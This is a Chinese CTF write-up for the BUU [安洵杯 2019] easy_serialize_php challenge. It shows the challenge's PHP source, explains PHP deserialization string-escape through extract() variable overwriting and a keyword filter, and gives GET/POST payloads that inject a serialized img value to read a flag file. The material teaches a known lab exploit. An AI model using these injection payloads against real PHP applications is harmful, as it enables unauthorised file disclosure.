BUU [安洵杯 2019]easy_serialize_php

简介: BUU [安洵杯 2019]easy_serialize_php

BUU [安洵杯 2019]easy_serialize_php

源码如下

<?php
$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}//把过滤的这些字符串替换为空


if($_SESSION){
    unset($_SESSION);         //如果$_SESSION已经存在就删除它。
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);  //extract() :从数组中将变量导入到当前的符号表。

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));      //将_SESSION序列化且过滤,将值赋给$serialize_info

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
/*当get传入的f的值,也就是$function的值等于'show_image'时,就会将$serialize_info反序列化,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮显示base64的编码*/

先看了一下他的phpinfo(),flag应该就在这里。

浏览了一遍代码,可以利用反序列化字符串逃逸。从extract($_POST)传入东西修改 _SESSION[]里面的东西。

根据extract()我们可以进行变量覆盖,当我们传入SESSION[flag]=123时,¥SESSION[“user”]和¥SESSION[‘function’] 全部会消失,只剩下_SESSION[flag]=123。


我觉得SESSION数组里面的我们无法对img做手脚,不管我们有没有get传入img_path,都无法读出我们想要的文件,get传了img被改成guest_img.png,不传多了一个sha1编码。


反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸


_SESSION一共有三个键值对,所以我们一共要构建三个键值对

方法一:键值逃逸

如果要只修改$_SESSION[‘function’]实现键值逃逸不可能,没有替换,比如说传入where给你替换成hacker。

所以,如果想要构建代码,只能在user的值做恶意代码然后让其被过滤,然后在function构建代码,让function构建的代码生效。

修改这两处,第一处全为被过滤字符,使过滤完后字符串自动向后解析。

第二个xxx=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

可以看到,第二个xxx我构造了两个键值对和闭合,a=b,img=ZDBnM19mMWFnLnBocA==。

下图右边我选中的字符串除了xxxxxx还有23个字符。

第一个xxx=flagflagflagflagflagphp          //23位

变成


a:3:{s:4:“user”;s:23:“flagflagflagflagflagphp”;s:8:“function”;s:57:“”;s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:6:“123123”;}


经过服务器过滤,flag和php都没了,变成


{s:4:“user”;s:23:" “;s:8:“function”;s:57:” ";s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;} ";s:3:“img”;s:6:“123123”;}


①user=“;s:8:“function”;s:57:” // ②a=b // ③img=ZDBnM19mMWFnLnBocA== //三个键值对不多不少。字符串我没用引号包起来。

payload:
?f=show_image    //GET
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}          //POST

将/d0g3_fllllllag进行base64编码

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

方法二:键名逃逸

原理和上面一样,只不过这次被过滤的地方不是在值的位置,而是在键名的位置,然后在值的位置构造恶意代码。

先给一个payload

payload:
?f=show_image    //GET
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}  //POST

由于我多传了一个¥_SESSION[“phpflag”],所以SESSION数组变成了四个键值对。

看图,flagphp被过滤后,我选中的7个字符被解析,构造了一个 ";s:48:=1 的键值对。

如果传我的payload,一共四个键值对,不多不少。

①user=guest // ②function=show_image // ③";s:48:=1 // ④img=ZDBnM19mMWFnLnBocA==

其中①②我没改变他们。

剩下的步骤同解法一。

目录
相关文章
|
6月前
|
PHP
php的foreach神操作
php的foreach神操作
42 0
|
3月前
|
Linux
BUU [安洵杯 2019]easy_web
BUU [安洵杯 2019]easy_web
77 0
|
6月前
|
存储 监控 安全
Pikachu PHP 反序列化通关解析
Pikachu PHP 反序列化通关解析
|
6月前
|
程序员 PHP Python
2024年Python最全Python基础教程:keys()、values()和 items()方法,百度面试题php
2024年Python最全Python基础教程:keys()、values()和 items()方法,百度面试题php
2024年Python最全Python基础教程:keys()、values()和 items()方法,百度面试题php
|
6月前
|
PHP
[CTF]ctfshow php特性
[CTF]ctfshow php特性
|
11月前
|
PHP Python
总是忘了isset与empty的区别-php随记
@(狂汗)都是5个单词,不能从字数上编口诀.... isset 判断变量是否已存在,如果变量存在则返回 TRUE,否则返回 FALSE。
45 0
|
存储 JSON 安全
为什么我觉得GoFrame的garray比PHP的array还好用?
写过PHP的同学都知道 PHP的数组Array非常好用,特别灵活。我在写PHP之前使用Java做安卓开发,在接触PHP的数组Array之后,直呼太香了!
为什么我觉得GoFrame的garray比PHP的array还好用?
|
NoSQL Oracle 关系型数据库
【黄啊码】为什么我建议您选择go,而不选择php?
很多开发者都认为php已经是“强弩之末”,是时候转go了,但在此之前,我们先好好了解一下这两者的差别到底在哪,如果连区别都不知道?那还谈什么转语言
164 0
【黄啊码】为什么我建议您选择go,而不选择php?
|
Java API PHP
震惊 PHP4 里的 preg_replace_callback Java9 才跟上,PHP亲密度 +1
前几日因为日志输出量大,但是很多时候又还想用日志来做兜底逻辑的查询,所以想增加一个异步事件监听去做字符串截取。想起了 preg_replace_callback
194 0
震惊 PHP4 里的 preg_replace_callback Java9 才跟上,PHP亲密度 +1